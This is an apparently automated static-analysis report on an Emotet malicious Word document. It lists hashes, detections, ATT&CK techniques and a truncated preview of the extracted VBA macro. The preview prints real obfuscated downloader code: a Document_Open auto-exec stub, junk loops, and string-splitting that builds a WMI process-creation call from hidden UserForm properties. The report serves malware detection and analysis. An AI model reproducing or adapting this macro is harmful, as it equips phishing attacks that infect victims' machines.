Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 1c11a0144e69a83b…

MALICIOUS

Office (OLE)

178.1 KB Created: 2020-08-18 06:54:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 1c47e34034274d3fcb229766166ba467 SHA-1: 9a572423d92f25fb67be2735404976385e834da5 SHA-256: 1c11a0144e69a83bd3cee15b251f0292e52e6c78ceee25efb2b3cbab3c8a0291
262 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro that utilizes CreateObject and a hidden UserForm property to execute a command stager. This behavior is characteristic of Emotet, a known downloader family. The macro's obfuscated nature and use of `Debug.Print` with concatenated strings suggest an attempt to evade detection while preparing to download and execute a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-9372964-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-9372964-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11020 bytes
SHA-256: 91230409512ab7e2de76ef7c9dfc97c64f919c84d11d119c19c26a79951a234f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Ld1uv0cspsr45"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Ghpf2go1v7i_w34wj3.Agzcb_kiuv2
End Sub


Attribute VB_Name = "Ghpf2go1v7i_w34wj3"
Attribute VB_Base = "0{D448CD16-1146-4E47-A9CB-5B9D3496926E}{F6BBFBAA-8ADF-4A68-B15B-130F3958D695}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function Agzcb_kiuv2()
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 792
Qma95b84jem9v = 560
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
S47o0soq7w8o = Bm3tok1c7gj7gy
Mvsokod7a_23_u = Ghpf2go1v7i_w34wj3.HelpContextId + 50 + 50
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 398
Qma95b84jem9v = 264
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
Pym6s4nacy_f2k71 = Bm3tok1c7gj7gy
Kes6jf7kq87s = ChrW(Mvsokod7a_23_u + (15))
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 615
Qma95b84jem9v = 106
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
Hj0ddrunjyx4nq = Bm3tok1c7gj7gy
Rqh8iipmg6zh = "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggi58[sn ]]][ jsa 21u7gsgggnm58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggggm58[sn ]]][ jsa 21u7gsgggt58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg" + Kes6jf7kq87s + "58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg:58[sn ]]][ jsa 21u7gsgggw58[sn ]]][ jsa 21u7gsgggin58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsggg358[sn ]]][ jsa 21u7gsggg258[sn ]]][ jsa 21u7gsggg_58[sn ]]][ jsa 21u7gsggg" + Ghpf2go1v7i_w34wj3.Bwiu6d11bh_2k3 + "58[sn ]]][ jsa 21u7gsgggro58[sn ]]][ jsa 21u7gsggg58[sn ]]][ jsa 21u7gsgggce58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsgggs58[sn ]]][ jsa 21u7gsggg"
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 309
Qma95b84jem9v = 372
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
C2b1ceo8w0nbypf = Bm3tok1c7gj7gy
Wnxi519x9fk4p = Qdiyfkpjp69kh_xx(Rqh8iipmg6zh)
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 958
Qma95b84jem9v = 684
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
Uygjf6gkk0_8escard = Bm3tok1c7gj7gy
Set Dg8bnceguovab3 = CreateObject(Wnxi519x9fk4p)
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Next Z7djzzj8261iz_y
Bm3tok1c7gj7gy = 903
Qma95b84jem9v = 602
Bm3tok1c7gj7gy = Bm3tok1c7gj7gy + Qma95b84jem9v
Zpiqf4qxbkpnuxtz48 = Bm3tok1c7gj7gy
Hs5fltu81fgr9o = Ghpf2go1v7i_w34wj3.Tz9_57deizbwh7kfhc.ControlTipText
   For Z7djzzj8261iz_y = 5 To 62
DoEvents
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Print (CStr(Ji64fpwk2zrtehq34) & CStr(Xt5mp10ywonn))
Debug.Prin
... (truncated)